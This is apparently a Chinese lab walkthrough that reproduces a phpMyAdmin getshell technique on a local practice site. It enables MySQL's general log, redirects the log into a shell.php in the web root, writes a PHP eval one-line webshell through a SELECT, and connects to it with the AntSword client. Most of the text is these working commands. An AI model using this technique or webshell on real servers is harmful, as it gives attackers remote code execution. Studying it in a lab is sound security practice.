PhPMyadmin-漏洞复现
前情条件是：首先将我们的PHP版本设置在5.5以上 注：禁止用于未授权的测试!
首先搭建环境，登录后台
点击》》SQL
查看当前的日志状态
SHOW VARIABLES LIKE 'general%';
因为之前我原来做过所以general_log 是开启的，如果vlau 是OFF时，可以使用
set global general_log = “ON”;打开日志
然后后面打开genera_log_file 写到网站目录下
set global general_log_file='D:\\phpstudy_pro\\WWW\\pikachu-master\\shell.php'
前提是知道网站目录下
查看日志，看更改日志文件路径是否成功
日志文件里写入一句话木马
select '<?php @eval($_POST[cmd]);?>';
访问一下shell.php
http://pikachu-master/shell.php
能够成功访问
然后适用蚁剑连接
成功连接